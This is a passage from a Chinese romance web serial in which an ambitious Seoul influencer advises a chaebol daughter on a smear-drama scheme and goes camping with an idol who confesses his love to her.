本来他想强撑着，说自己的生活还不错。但转念想到GD和他说，面对这种强势、有主见的女人，示弱可能会起到不一样的效果。 他苦笑一声，原本精致锐利的眉眼此时萦绕着一股疲倦，短圆眼的眼尾好像都要耷拉下来了。 沉默了一会，“还可以吧。” 虽然是说过得还行，但语气里的有气无力说明他的境况不像说的那样。 宋玉妍也沉默了一瞬。看着原本意气风发的漂亮男人变成这样，这让她所剩无几的良心不安了一会。为了掩饰尴尬，她端起鸡尾酒喝了一口。 “李株赫xi，如果太疲惫的话，可以去露营或者泡汤泉。”不管怎么样，出去走走总会心情好一点的。 这也能让她完全抛却愧疚的芥蒂。 露营？汤泉？他在心底记下宋玉妍说的，看来她还是很喜欢这种户外的活动的，不然不会推荐。 “我一直都很宅，对这些都不太了解。如果要去露营的话，可能还要拜托你。” 像是决定了要出去走走，李株赫的语气都轻快了不少，拧着的眉头放松了不少。 咖啡的香气和酒精的刺激打破了宋玉妍内心的防线，她忍不住把之前露营的经验告诉对方。包括什么品牌的器具、要带些什么、这个季节露营的好去处…… 随后像是被不想对上这样和之前不太一样的李株赫，宋玉妍才匆匆忙忙地告辞。离开咖啡馆时，感觉她好像忘记了什么，还差点被门口的台阶绊了一下，背影怎么看怎么狼狈。 看来对于她的了解还是不太够，李株赫看到她迅速的离开，好笑地喝了一口鸡尾酒。清爽的口感，他的脸上哪还有什么惆怅之类的情绪。 能够重新和她建立起联系，发现宋玉妍并不是完全怼他无感。这让他觉得晴空下的阳光很和煦，天空中的云朵也鲜艳美好，像是毕沙罗拿笔触绘制一样的。 随后，他在kkt上光明正大地找宋玉妍聊天，每次都是以咨询露营器具的性能开始，然后每次话题都会偏。 偏到他主动分享日常，就连小号都没有放上去的图李株赫随手发给了她。宋玉妍一般都是有时间回上两句，没时间就当做没看到。 等把和姜升润合作写真的成片放上去之后，ins上引来了一大批模仿的热潮，很多人都被这极致的拉扯感给征服了。 「红酒的那张真的好绝，明明两人之间都没有身体接触，但是就是很好嗑。」 「每一张都是可以做我手机屏保的程度。」 「如果说姜升润的眼睛里还能抠出一点情意的话，那宋玉妍的眼底只有从男伴眼睛的倒影里对自己的欣赏了，kkk。」 「话说，只有我觉得winner这个团里，和宋玉妍最搭的不是队长，而是金秦宇吧。美艳狐狸蛊系美人vs年上善良大狗狗。」 「我也觉得，这位姐还亲口夸过哥的颜值。」 …… 除了一部分红人粉无能狂怒之外，这算是一个皆大欢喜的局面了。在宿舍的金秦宇看着自家队长因为这个写真而多接了好几商务和综艺，不由地有些眼热。 “你说，要不我也试一试去和宋玉妍拍一次写真？居然都有我们两个人的cp站！” 他倒不是嫉妒自家队长，而是因为自从新女团出道之后，公司对winner更加不上心。资源什么的，全靠成员自己去弯腰求人。 姜升润听到大哥的询问之后，脸上的表情不自然了一瞬。他最近找人聊天，发现对方都冷淡了许多不知道是因为忙还是其他。 “可是亲故她很忙诶，最近说没有策划情侣系列的打算了。”这也是宋玉妍的原话，自从她这一期的视频火了之后，不少人都找上门来，她干脆全部拒绝好了。 “这样啊。”得到这样的一个答案的金秦宇有些泄气，看来还是要继续在宿舍蹲了。 明明yg家的艺人不算多，但是得到的资源就是很少，有部分甚至被公司给推掉。 主要是，宋玉妍现在被崔宝祯绊住了，自从两个人关系亲近之后，都把她当作半个军师看待了。 “我是真的无奈了，崔社长居然给那位在汉南洞买了200多亿的豪宅。”她都要被气疯了，当初对待她们姐弟四人，连生活费都不舍得，现在倒好这么大手笔。 宋玉妍把玩着手里的劳力士，一圈一圈触着表带转着。 这是最新品，崔宝祯一拿到就忍不住套到她手上了。 “你说怎么能有怎么厚颜无耻的人？我姐的入伍仪式，她居然还想掺和一脚。”想到那位时不时地出来恶心一下，她的心情就很糟糕。 听着她抱怨完，宋玉妍没有插话，专心致志地垂眸玩着手表。 “你说我该怎么办？”忍无可忍了，她原本清贵的脸蛋被咬牙切齿的表情破坏。 “上一辈的事情就应该交给上一辈处理，你掺合进去反而会打破原有的平衡。” 卢夫人出自政治世家，见过的风浪比她们多多了，她能稳住，就证明问题不大。 “那我就忍着她们上串下跳？” 宋 玉妍想到一个好办法，“你手里还有闲钱吗？” “零花钱能够拿出来一点，怎么了？” 圈内的那些财阀夫人也很买那位的帐，谁让她背后站着sk的会长？这也是崔宝祯最生气的一点，这么久了，她的交际还是没有多少进展。 “买个剧本，把那位的故事拍下来，送电视上放送。”宋玉妍浅笑盈盈，笑眼里面满是不怀好意。 “到时候，你花的钱那位的人设怎么写还不是你说了算。她既然想红，你就送她火。” 八卦新闻的传播力虽然广，但论讨论度和记忆深刻，你还是得看爆火的剧。只要这部剧在，她的小三事迹就会被反复提及，最后钉在耻辱柱上。 听到她这个建议，崔宝祯眼前一亮，“你给我具体说说？” 果然，专业的事情还是得专业的人来，宋玉妍对网友的心理把控十分到位。也难怪她能从籍籍无名，到现在离网红头部只差一口气。 “剧名就叫《蛇女》、《美杜莎》之类偏的恶意的词汇。你要把控好剧本，不能让观众对于这个角色共情，不然就是为他人做嫁衣。做好观众心理画像，把他们最讨厌的性格放到主角身上，最重要的是情节一定要揭露财阀的黑暗、腐朽不堪，怎么尺度大怎么来。” 崔宝祯忍不住打开备忘录，一边点头一边记。“有一个问题，电视台万一给崔社长面子，不播怎么办？” 有线台都是本土财阀参股。但是tvn不一定，只要有收视率、能盈利，他们不一定给财阀面子。 “可以卖给无线台，实在不行还有网飞。”宋玉妍把劳力士从手上摘下，放在桌上。 “况且，电视剧大爆之后还有一个好处。” “什么？” “为你的竞选铺路。” 第104章 第一百零四章 “竞选铺路？”崔宝祯一时间没有转过弯来，，这和她竞选有什么关系？ “你的选举策划部组建起来了吗？不管是议员还是其他，竞选的时候最重要的是会讲故事。” 除非像上一任一样，喊出再一次汉江奇迹的口号，完全继承她爹的政治遗产。 宋玉妍慵懒地依靠在沙发上，夏天单薄的衣物遮掩不住她曼妙的身姿。她的手指，有一搭没一搭地点在金属手表带上。 “可以啊，果然专业的事情还是得找专业的来。”她这样一说，崔宝祯就懂了，踩着那位上位。 谁不会对被小三逼到，远走他乡上学、让出美术馆原配的女儿心疼呢？ 这样一想，她的心态平和多了。一想到那位拼命想要捂盖的过往被翻出来反复讨论，她就忍不住想笑。 “对了，如果可以的话，你再去sm公司上一上爱豆的课程。对于以后的你来说，选民就是你的粉丝，媚粉对于拉选票多少还是有一点用的。” “好，谢谢你，宋玉妍xi。幸好我有你这个好亲故，不然大姐在企业里忙忙碌碌，二姐在服役，我连个说话的人都没有。” 演员课程没有上完，现在又被多加了一门必修课，崔宝祯有些心累。离开之前她想把自己的香奈儿sales推给宋玉妍，到时候看中哪套衣服，她直接买单就好。 但宋玉妍推拒了，“我们之间不只是利益链接的关系，不是吗？” 温吞绵软的嗓音，她的眼睛里满是真诚。 崔宝祯转过身，眼里闪过一抹复杂。从有自主意识开始，她就明白一个道理：所有能用钱解决的事情，都不算什么。 所以她习惯用物质去交换其他的东西，但是对上宋玉妍这样眼含着宝贵情意的眸子。 崔宝祯忽然有些不知道该说什么。她的天鹅绒唇釉，疯狂吸食着嘴唇上所剩无几的水分。这让她做出了一个平时绝不会有的举动。轻抿了下唇，借着遮掩，舔了一下干燥的唇心。 没有想到啊，她只是随手撒下一把鱼食，抱着打发关爱者的心态，宋玉妍却对她付出了真心实意。 她的余脊泛起一阵阵战栗，与这样珍贵的真心相比较，自己的想法，真的是透露着一股傲慢的丑陋。 “你说得对，wuli……是亲故啊。”崔宝祯像是下定了什么样的决心，稀薄的光线透过窗纱打在脸上。晃动的影子，就像是她起伏不定的心情。 等她走后，宋玉妍勾起了满意的笑容，桌上的车厘子被她一口一个。 清甜的汁液在口腔中蔓开，甜蜜的味道让人心情很好。有一点汁水沾染在嘴角，她漫不经心地用指尖拭去，深邃晶莹的暗红色沾染在上面。 就算能换到价值几亿的奢侈品有什么用？对已经财富自由的她来说，那不过是锦上添花。但是收获崔宝祯的“友情”，能得到的，远比物质上好处多得多。 “我看你ins上经常发车厘子，我洗过的，你要不要吃一点？”李株赫拿出之前准备好的粉色透明保温盒，里面分门别类地放着各种水果。 车厘子、草莓这种反季节的昂贵水果在南韩的夏日并不多见，蜜瓜、橙子切块放好。一看就是精心准备过的。 宋玉妍坐在后座，抱着胸看着窗外。风温柔地拂过她的碎发，心底不断地在后悔答应了他一起露营的请求。 主要是当时李株赫说的话太让人心动了。 “宋玉妍xi，和我一起去雪岳山露营，你不但可以做一期露营攻略向的视频，还可以顺便推广你新接的运动品牌。最重要的是——我还可以帮你拍照，会很出片。” 当时被他的花言巧语给鼓动了，现在要面对的就是，前座两个男人之间奇怪的氛围。整整一个小时了，姜昇润和李株赫互相不搭理。 这哪像一个公司前后辈的关系？明明两个人都没有资源冲突。 “谢谢，我不饿。”宋玉妍很累，昨天晚上修片修到半夜，运动完之后，睡到早上也不过休息了三个半小时。 她也没有丝毫剩余的精力去管两人之间，似有似无的火药味。 “hiong，我有些饿了，你不介意我吃你这么昂贵的水果吧。”姜昇润的单眼皮看起来十分可爱，只是把话音加重在昂贵上。 这样的挑衅，对方如果拒绝，就有可能在宋玉妍面前，落下一个小气的形象。 “当然不介意。”这几个字几乎是从牙缝里蹦出来的，李株赫现在对这个同公司后辈没有丝毫好感。 姜升润不但死皮赖脸跟着过来，一路上还当着他的面，对宋玉妍大献殷勤，这让人看得大为恼火。 他的脸上更加冷峻。看着姜昇润拿着叉子，把他精心给宋玉妍准备的水果一口一块，好吃到幸福的把眼睛都眯成一条缝的样子。 就恨不得把视线化成利爪，把人给撕碎。 “我休息一会。”宋玉妍是真的有些困了，晕车加上昨晚没有休息好，让她想用睡眠来缓解身体的不适。 “好，后面有u型枕头。” 她拿出来一看，不禁挑了挑浓密又舒缓的眉毛。这不是她推广的某个美妆套盒赠送的限定周边？李株赫也买了？ 柔软的枕头被她打开扣子，嵌在脖子上刚好。 李株赫从中间镜里看着宋玉妍的睡颜，心脏空虚被填满。原本异常苍白的心情，此刻就像路途两边，在风中摇曳的夏花。 到了一个加油站，他把自己的宾利开到加油机前。车身深色的涂装，透露着一股低调的贵气，和这样简陋的公路边格格不入。 李株赫看着工作人员把油箱加满之后，工具撤了，他翻出皮包准备刷卡结账时，看着手上，忽然灵光一闪。 余光瞟了眼旁边的姜升润，对他指了指旁边的711便利店。李株赫不客气道：“她快醒了，你要不顺便帮她买个草莓牛奶，然后帮我带包烟？” 虽然是询问的语气，但脸上的表情分明的不容置疑。姜升润知道他在用前后辈的关系，压着必须去。 “可是……” “宋玉妍昨天应该是没有睡好，路上喝喝牛奶 心情会变好。” 听到他都这样说了，姜升润不情不愿地解开安全带，下车。几乎是用小跑进那个不大的店里，因为动作有些急，和店员阐述要求时还有些微喘。 等他出来之后只剩下扬长而去的车身，跑上前还能闻到了空气里停留的尾气。 姜升润以为李株赫是不小心把他丢下了，怀里抱着香烟和牛奶，把腿往前追。 “hiong，你等等我！” 看到掉头的车身，他的眼里露出了希望，鼻腔里微微的血腥味都被忽略过去了。 李株赫把驾驶位的车窗，稳稳对准姜升润的身体。 从杂物箱里拿出皮夹，打开之后，把所有的卡都抽了出来。摇下车窗，把比他手掌还要长的钱包往外一抛，正中姜升润的怀中。 “你自己打车回去吧。”说完，他再次扬长而去。 周边的空气几乎被车离开的风撕裂，姜升润呆呆地看着手里的钱包。 爱马仕的金棕色bearn钱夹，如果是平时他肯定要感慨一下对方不愧是江南太子。随随便便抛出的一个钱夹，都能抵他一次校庆舞台的报酬。 但现在他被这突如其来的变故惊得有些不知所措，只能呆呆地看着被世宗大王挤变形的钱夹。 狭窄的公路上车子突然来了劲，奔着束草方向飞驰。海边的空气清澈澄明，李株赫把车窗完全打开，每吸一口都感觉洗去了肺里因为久居大都市，而沉淀的灰尘。 一幢幢浅色尖顶的房屋在山间冒头，看起来宛如置身于童话般的世界。原本裸露的灰白色岩石被一颗颗繁盛的树木覆盖，郁郁葱葱。 空气里草木和海边潮湿混合的气味，像是从土地里垂上来的味道。 到了晨昏分界时刻，虚弱的光线让万物都模糊，宋玉妍才慵懒的转醒。她看着车上的星空顶，才察觉不知道从什么时候由靠变成了躺，身上的安全带不知道什么时候解开了。 头下是松软、毛绒的抱枕，车窗缝隙里吹过来的微风，带着万物昏昏沉沉的味道。 她支起身体，一眼就看到半靠在前盖上抽烟的男人。 垂着头、修长的手指间是橙色的火星，若隐若现的夕阳是最好的光圈，把他的身影模糊、拉长。 如果他的车前盖上放上一杯咖啡，冒着热气的咖啡，画面美到足够做任何一部文艺片的结尾。 定格的氛围实在太过美好了。 宋玉妍摇下车窗，妩媚的脸上是自己都未察觉到，如丝绸般软和的温柔。风撩过她瓷白脸边的碎发，词句随着风飘荡到人的耳朵里。 “李株赫xi，我的亲故呢？” 虽然带上姜升润是一个意外，但是都一起出行了，单独把人撇下不好。 沉浸在思绪里，如画一般的男人像是走了出来，他把烟灭了，走过来。棱角分明的脸上满是柔和，墨色玻璃珠折射着落日余晖，此时里面只有一个人。 “他？好像有一个突发行程，我在半途把人放回去了。” “这样啊。”宋玉妍从窗里探出身，发现两个帐篷早就搭好了。 米色和藏青色挨在一起，色彩清淡。等晓星时分，串着的珠灯和里面透露出来的光源会是静谧夜里，唯一的光亮。 她推开门下车，看着穿着银灰色衬衫的李株赫，领口的扣子解开、袖子挽到手臂处。依靠着车上，肌肉呈现出一种完全放松的状态。 走到他身边，宋玉妍伸出手指，“给我也来一根。” 第105章 第一百零五章 李株赫递了一根给她，宋玉妍接过、夹在手里，学着他的姿势，一起靠在车前方。 看着远处的晚霞，两人之间烟雾上升、缭绕、互相交缠。 自从认真工作之后，她很少有这种大脑什么都不想，完全放松的时刻。一时间两人之间谁都没有说话，都只安安静静地看着天空变成黑蓝色。 “呀，完全睡过去之后，路上的空镜头都忘记录制了。”宋玉妍像是刚想起这些，懊恼地拍了拍脑袋。 明明是因为工作而同意出来的，一上车倒是只顾着睡觉了，完全把工作抛掉了。 “没关系，我录制了，回去之后发你邮箱就好。” 虽然他的本意并不想让宋玉妍还惦记着工作，但这样做在她心里会很加分。 说完，李株赫把炉子点起来，带来的茶壶放在上面。 等里面的红茶被沸水完全泡开，茶叶不断卷浮、下沉，茶多酚的香气在周边蔓延开来。他熟练地把茶壶拿下来，浅红色的清汤注入银制的杯子里。 “你捧着暖暖手吧，山里的气温有些低。” 宋玉妍坐在自己的帐篷前，看着他忙前忙后。 帐篷上挂着的珠串灯一闪一闪，比夜幕上星星还要璀璨几分。 李株赫有些忙而有序地把网格状的烤盘放了上去，绵软吐司被他裹上蛋液放在最边缘处慢慢烘烤。 “我带了些烧烤的食材，你有什么想吃的吗？” 宋玉妍有些迟疑地摇了摇头，本来就就很晚了，加上今天没有运动。吃上这么多烤物一定会发胖！ “有新鲜的韩牛，你要不试一试？”打定主意让她尝尝自己烤肉的手艺，李株赫提出具体的选项。 “牛肉热量不高，没有那么容易长胖。而且食材很新鲜，菲力部分很嫩，今天不吃的话就浪费了。”低沉磁性的声音带着一股蛊人的诱哄意味。 宋玉妍早上就垫了一点酸奶，胃里分泌出酸，条件反射般的吞咽。听到他这样一描述，可耻地心动了。仿佛能想象到鲜红的脊肉，奶味充满每一块瘦嫩的肌理。 “那……我也来一点吧。” “好。”李株赫看着吐司的一面变得微微焦黄，把它翻了一面之后，走到车的后备箱里搬出食材。 看到宋玉妍有想要过来帮忙的打算时，他立刻制止了她。 “没关系，我来就好，你坐着别动。” 明明她才是那个有着露营经验的人，但好像帮不上忙，这让她有些无所适从地笑了笑。 李株赫把烤好的吐司放在餐盘上，只有一份先递给旁边的人，空气里传来一阵阵小麦的香气。 “你先垫垫肚子。” 然后他不是很熟练地把烤盘上粘黏的面包絮清理干净。 把牛肉从泡沫冷箱里拿出来，冰袋都化成了水。海盐、橄榄油被他放在触手可及的地方。 给两面抹上的橄榄油，带着手套，一点一点揉进去。鲜红色的里脊放上去的一瞬，发出滋滋的声音。有油滴落在下面的碳火上，激起橙色火焰向上，更烈的吞噬，周围的空气都扭成了波。 宋玉妍的视线一直在他脸上，无法挪开。造物者太过偏爱于他，就连这样不熟悉的动作，李株赫做起来都不显得手忙脚乱。 不知道是饿久了，温热的食物抚平了她抽缩的胃，还是今晚山间的夜风太过柔和，她只觉得跳动的心脏很少有这样平静、安然的感觉。 它就连向四肢供血液的温度，都比平时要高，烘得人暖乎乎的。 碳水的摄入带来无与伦比的幸福感，再加上温暖的红茶，几乎要融化她漂泊不定的灵魂。 也许是宋玉妍看过来的视线太过于专注、太过于深情，这让李株赫有些招架不住。垂着红得能滴出血的耳朵，余光都在她身上。一不留神，一面牛肉就有些烤焦了。 回过神来，他拿着夹子赶忙翻面，想要补救一番。 “李株赫xi，你开了这么久的车有吃东西吗？” “莫？”反应过来之后，他放下手中的东西，认真地注视着她。“没有，不过，没关系……” 在他话还没有说完时，一段撕下的吐司片抵在了唇边，比吐司更加柔软的是她的手指。 李株赫垂着眸子，睫毛的倒影在眼下落下一片暗处。就算心脏跳动的频率再快、再激烈，他的脑子处于混沌和清醒之间。 对于现在的宋玉妍来说，从他身上已经没有什么可以获得了的，那她……做出这样的动作意味着什么？会是因为心动吗？ 思考的太久没有动作。贴在唇边散发着出热源的指尖，它的主人像是有些不耐烦了，想要撤走。 在脑子还没有反应过来之前，李株赫微微用力拽着她的素腕，滑腻的触感让他留恋。就算咬着那小片吐司进嘴之后，他也没有松开。 “李株赫xi，肉好像要烤坏了。”她抬起空着的手臂，指了指近处的烤架。 手腕猛地被松开了，更高温度的触感好像在上面萦绕着久久不散。 “康桑密达。”不知道是谢宋玉妍提醒他烤肉的熟度，还是谢她的喂食。 被烤炙的牛肉加上一点点海盐就足够美味，就算表面有些微焦，依旧瑕不掩瑜。 看着对方矜贵禁欲的样子，好像下一秒就要出现在某个片场，把衣袖放下来就能客串某个财团的社长。 带来的反差感，让宋玉妍觉得他完全不像是会亲自烤肉的性格。 像是感受到她打趣的视线，李株赫放下手里的叉子，有些无奈地嗅了嗅身上的味道。 不太好闻，这件衬衫要报废了。 “李株赫xi看起来完全不像是会料理的性格。” “总是要多尝试的，万一以后演戏有需要呢。” 才不是，明明是看到宋玉妍的ins里，对一些韩牛店的手艺赞不绝口。这才让他精心准备了食材，在家里 反复练习，就是为了这个时候露上一手。 “这样啊。”汁水顺着咀嚼在口腔里爆开，她给了对方一个赞叹的手势。 看来李株赫，一定会成为一个很好的演员的。有这样是出身，加上努力，说不定还能往忠武路闯一闯。 她的头微微仰起头，视线远处的被浓蓝星空所包围的山顶，炭火已经熄灭了，火星的味道被澄清的空气稀释。 不知道是氛围太好，还是身体摄入的热量传来的满足感，这让宋玉妍的话变多了。 “很久没有没有过这样，很放松，好像很多东西在这一刻都没有那么重要了。”那些ins的粉丝数、没有完成的工作、写到一半脚本，就像原本压在身上的担子，忽然就卸下来一小会了。 “这样……不会太累了吗？”李株赫有些不理解，优越的家境，让他的欲望少了很多。也让他很难设身处地地去理解，很多人为什么要拼尽全力追逐那些物质上的东西。 对于圈内的影视资源，他没有一定要拿到手的想法，商务资源有就接，没有就算了。就连很多艺人可望不可求的时尚资源，对他来说也是轻松地被圈子接纳。 “对我来说，看着自己卡上余额不断地增长，粉丝数跳动，就是很幸福的事情。”宋玉妍看着他，被月光余晖柔和了的眉眼。 只有当你什么都得来的轻而易举时，才能考虑会不会疲惫这件事情。不然很多情绪，只是独属于富人的无病呻吟而已。 “可能很多人不喜欢太有野心的女人，觉得不够恭顺、贤良淑德。但我就喜欢看那些说我有太多野心的评论，对我来说这是最好的赞美，而不是恶评。” 星星灯映照在她的脸上，留下一个个灯影不断地跳动着。 李株赫看着她饱满的红唇不断翕张，完整的心脏被擂得怦怦跳。 雪岳山的夏日和其他的山没有什么区别，比它矮的山落也会有这样秀丽的景色。但冬天不一样了，细雪覆着山上的枝桠，像是给山神披上了一次清软的白纱。 他想牵着宋玉妍的手，陪她看看冬日里的雪岳山，看晨曦在山顶间落下第一抹金光；和她一起在雪里踩下脚印；闻着海边传来清冽的海洋味道。 她那时的指尖，肯定就像是细碎冰粒那样冷，他想把她的手放进自己口袋。 “所以，你会觉得有野心是一件坏事吗？” “完全不会。”立体的五官上满是斩钉截铁版的坚定。李株赫没有经过思考，答案直接脱口而出，思绪被拉远。 “第一次见面的时候，我就觉得你挺有意思，居然会在完全不了解我作品的情况下，过来搭讪。我当然对你的目的心知肚明，毕竟它就写在你的脸上。” 但还是无法控制地被她吸引。 他拿出之前在宝格丽买的白金蛇镯，拉过宋玉妍的手腕，给她套上。就算在昏暗的地方，上面的钻石也依旧闪闪发亮，而宋玉妍温润的皮肤也毫不相让。 “当时，你在戴的时候，我就觉得很适合你。看到你把它退掉的时候，我不自觉把它买了下来。” 李株赫顿了顿，像是不知道如何组织语言，思绪却越来越顺。直到这一刻他才恍然大悟，原来那么早就动心了。 “当时，我不知道我为什么要买下它。现在发现，我的意识在身体还未察觉的时候，先一步动心。” 不知不觉中，他拉着宋玉妍的手，把她的手背贴在侧脸处。仿佛身体的接触，能让心意更好地传达。 “所以宋玉妍xi，我就是被这样有野心、目的性强的样子吸引。换句话说……我爱你的全部。” 干渴的喉咙费尽心思把这段话吐出，原本他是没有打算说。李株赫把自己有意识、无意识的想法全部向她剖露。 第106章 第一百零六章 低沉的声音像是砂纸在金属上摩擦，带着一丝不疾不徐，温柔至极。只有换气口的错乱，暴露了主人的内心。 他喜欢她的外表，但也不止外表；他喜欢她的性格，但也不止性格。 宋玉妍抓着帐篷的固定线，时而收紧、时而放松，心烦意乱地把它当成琴弦拨弄着。 白日里颜色明丽的树林，此刻都化成了黑峻峻的轮廓。唯一光亮就是头顶上方的星灯，浮尘在微弱的灯光里打旋。 昏暗里，旁边男人的视线像是一道炽热的火焰，存在感十足。 宋玉妍把手上的手镯褪了下来，放进银灰色的盒子里固定住。表面丝滑的材质像是奢侈品独有的奢靡细节，但她……现在已经不满足于此了。 她把盒子递到李株赫的面前，“可能是现在拥有的更多，原本追捧痴迷的奢侈品对我来说不再高高在上。所以，对现在的我来说它只是一件华而不实的装饰而已，恋爱也是。” 原本的宋玉妍就算穿着奢侈品，但还是会暴露出底气不足的心虚感，漂亮精致的名牌只是装点着她的外表。恋爱也是，达成目的一种外在手段而已。 现在不一样了，她不用别人为她的奢侈品买单，也不需要恋爱来蹭流量、交换资源。现在的她自带流量，商务资源的排期都到了三个月之后。 面对这样的李株赫，她的心底虽然有那么一丝触动，但离爱上还是有一段距离。 不是他不够好，而是宋玉妍清醒地知道，这一段路该怎么走。对于二十代前半段的她来说，感情只会是成功路上累赘。 听到她语气里委婉的拒绝之意，李株赫薄唇嗫嚅了几下，像是从之前虚幻美好的氛围中挣脱出来，梦幻般的怡悦感犹如脆弱的泡泡。原本被温柔所腐蚀的身体打了一个激灵，警醒了起来。 他轻轻地把宋玉妍的手指推回到她的胸前，“本来就是买给你的，你拿着好了。”银色的表面像是丝绸，像是把流动的月光剪下来，裁制在上面。 他身上清淡的烟草味和之前炭火的气息混织在一起，压在她手背上的力道有些用力，这一刻两人之间跳动的脉搏同频。 宋玉妍想要把盒子推过去，被他稳稳地桎梏在胸前。就算用了很大的力气，她胸与手臂之间分开的距离不过一个小指节。 一次未果，她再推，还是无济于事。 “好吧，那我收下 了。“盒子最后还是被她放进背包里，拉上拉链后，包随手被放在了帐篷的拐角处。 看着她收下，李株赫的心底舒出了一口浊气，至少没有完全拒绝他不是吗？ 在宋玉妍自己都没有察觉的时侯，她对他的态度在悄然发生改变。如果是之前的宋玉妍，面对这样半强迫的动作，只会不屑一顾地扭头就走。 李株赫帮她拿好洗漱用品，带着她去这个露营地的淋浴房。临时的板房，犹如盒子间一样的建筑，隐隐约约的轮廓在微弱的灯光下显得有些粗糙。 可能因为是工作日的原因，整个露营地只有他们过夜，脚步声落在耳里清晰可闻。 万物静谧，皎月、晓星、夜云点缀在天空中。他拿着手电，微微快半步的距离，电光和皎洁的月色照亮了前方一小片区域。 如果是只有宋玉妍一个人，她是绝不敢穿过一小段仿佛要被黑暗吞噬的树林。踩着嘎吱嘎吱的落叶，来到一个米色的、差不多一平米的淋浴间前。 “你先去洗漱吧。”像是看出来宋玉妍的惶恐害怕，李株赫在离单间淋浴室不远不近的距离停住了，双手抱胸，没有想要上前的意思。 像是一个守卫者，依靠在树上，注视着那间撒发着昏暗清浅灯光的房间。她回头看到男人的剪影，心脏盈满宁静、安心。 热水顺着花洒下落沿着身体的曲线流淌，泡沫在头顶不断皂化、手指穿梭在发间打圈。就算头顶上方飘荡的日光灯，时不时地闪一下，宋玉妍也没有太多的害怕之情。 她的身边好像还残留着路上，旁边身躯留下的温热气息。 两人回去时还是那么一段路，不一样的是，踩到的枯枝几乎将她绊倒。 李株赫眼疾手快地扶住她柔软的手臂，几乎是将人半揽在怀里。 “小心一点。”他换上了一件黑色的棉质衬衫，沐浴过后的薄荷味，清爽好闻。发梢的水珠，有一两滴落到了宋玉妍的肩膀，濡湿了她裸露的皮肤。 后面的那一小段路上，他的手掌稳稳地托在她小臂的下方，肌肤却没有直接的接触。 “晚安。” “那……晚安了。” 回到帐篷的宋玉妍有些神不守舍，就算这里的信号不好，也依旧打开ins，有一下没一下地刷着主页。后台的私信她都没有点开，最后还是选择把手指摁到李株赫小号的头像上。 穿着衬衫，半含烟圈的男人看起来十分有故事感。手指不小心摁到他最新帖子，给他点了个赞后。宋玉妍想要取消这个红心，但是网络恰巧掉线，ins又打不开。 这让她无奈地把手机抛到一边，打算先入睡。 半夜暴雨忽然来袭，豆大的雨珠连绵不断地打在帐篷上，封闭的空间像是一个巨大的音响。她被震地耳朵发疼，帐篷内都充斥着这种像是鼓点一样沉闷、有力的声音。身下潮湿的气味混合着泥土的腥味，令她辗转难眠。 “叮！”kkt的消息铃声传来。 「下雨了。」是李株赫发来的kkt语音消息，磁性的声音混合着雨滴的节奏，形成特有的韵律。 「是啊。」她眯起眼睛，费力地看着刺眼光源的屏幕，艰难地回复着。 喜欢坐在玻璃窗前看雨，并不代表会喜欢在户外露营的时侯遇见这样湿润的天气。 「这样的天气很适合拍狼狈搞笑的vlog。」 她都不敢想，要是一开始准备充分，后面状况频出的露营视频会有多火。 李株赫算是见识到她对工作的热爱了。正常人碰到这样的突发状况后，心情都会变得很糟糕，但是宋玉妍想的依旧是视频的主题、脚本、策划。 李株赫：「……」 看着软件好像有些bug，闪退了重进之后又闪退了一次，这让宋玉妍有些不耐烦了，完全没有了聊天的欲望。 她没有回复，李株赫点了一个爱心后就继续枕着雨声入眠了。 回去路上，她的背包被雨完全打湿了，换洗的衣物都不能穿了。宋玉妍只能在睡衣外面披上他机车风黑色夹克，真丝条纹的内搭加上外套硬挺的面料，莫名有种混搭风的味道。 拒绝他的午饭邀约之后，宋玉妍准备开始剪视频时，却发现这次录制的素材太少，完全凑不齐一期vlog。 有些惋惜就这样浪费了一天时间。但回想起这一天平和愉悦的心情，就像是绷紧的弓被调松了弦，也就觉得时间不算是浪费。 帮崔宝祯看了十多版剧本，宋玉妍只觉得看电子文件看得眼睛都要瞎掉了。 实在是受不了像蝌蚪一样的文字了，宋玉妍朝她抱怨道：“这群人怎么回事，怎么都给主角塑造成这么正面的形象？她哪里来的这么多不得已？” 把新鲜的荔枝往她那边推了推，崔宝祯也是一肚子气。“这群编剧说，纯恶角没有人看，除非是配角才行。” 像是知道宋玉妍的心情很烦燥，她给她倒了杯冰鲜的橙汁。“不着急，慢慢来，反正离下一届大选还有差不多四年时间。” 电视剧筹备、拍摄加上映至少也要一年。崔宝祯要接受她外公的政治资产，这也要至少一年的时间。时间虽然充裕，但是也不能浪费。 “恶角做主角怎么了？只要把配角都塑造得格外出彩，还怕没有人看？天生坏种才能激起民众的愤怒，加一个被她挤掉大学名额的普通人和被杀害的正义检察官。你对他们要求高一点，说再不行就换人。s级、a级作家不好找，小编剧可是一抓一大把。” 听到这么敷衍的借口，宋玉妍就知道她被敷衍了。 他们不想干有的是人干。电视剧编剧最重要的就是剧情设定，只要剧情抓马，观众才不会关注你主角的人设是怎么样。 听到宋玉妍这样说，崔宝祯才反应过来，她是被人糊弄了。 很多人看财阀投资，就以为是玩票性质，剧本随便写写就好。只要项目资金到位了，谁还管后续的反响呢？ “谢谢啦。”如果不是被点破，她还会被那群人牵着鼻子走。“你走之前吧那三箱荔枝带走吧，我让司机顺路送你？” 因为是喜欢吃的，宋玉妍并没有推拒。“那我就却之不恭了，虽然这样显得我每次都像是打秋风一样。” “不要这样想。”崔宝祯靠在沙发上，手指在屏幕上不断地点着，耳朵上的钻石耳坠摇曳出来的光芒都带着一股漫不经心的意味。 “你知道的，财阀子弟从小接受的教育都是利益为上。如果你对我没有用处的话，我们两个连交集都不会产生。” 听到她用玩笑的语气，把这样半坦诚的话说了出口。宋玉妍感到震惊，又庆幸自己见识足够广。 她和李株赫说把一箱荔枝放在了yg公司，欲盖弥彰地说让他和姜升润分享。 李株赫几乎是秒回：「好呀，我知道了，谢谢。」 他当然没有拒绝，要是拒绝的话，宋玉妍一箱全送给姜升润的话，他恐怕没有办法在对方面前维持好好前辈的形象。 第107章 第一百零七章 “你怎么会带我来这种地方？”崔顺喜看着这琳琅满目、杂乱的药店，有些无语。 亏她还以为宋玉妍苟富贵勿相忘，能带她去一去高档的地方，像是酒会、盛典这样的，再不济也应该请她吃个米其林餐厅。 结果，她居然从首尔这么繁华的都市，挖到了一个犄角旮旯的集市。 “我都和你说了穿运动鞋，你还穿高跟鞋。”宋玉妍看着她迈着小心翼翼的步子，时刻注意脚下的碎石和小坑。 这里的水泥板上的灰，都要比江南区厚一个度。所有的建筑灰蒙蒙的，看起来完全没有发达国家的样子。 崔顺喜踮着脚尖，生怕一个不小心鞋跟踩上去，脚扭之后，整个人狼狈地摔到在地上。 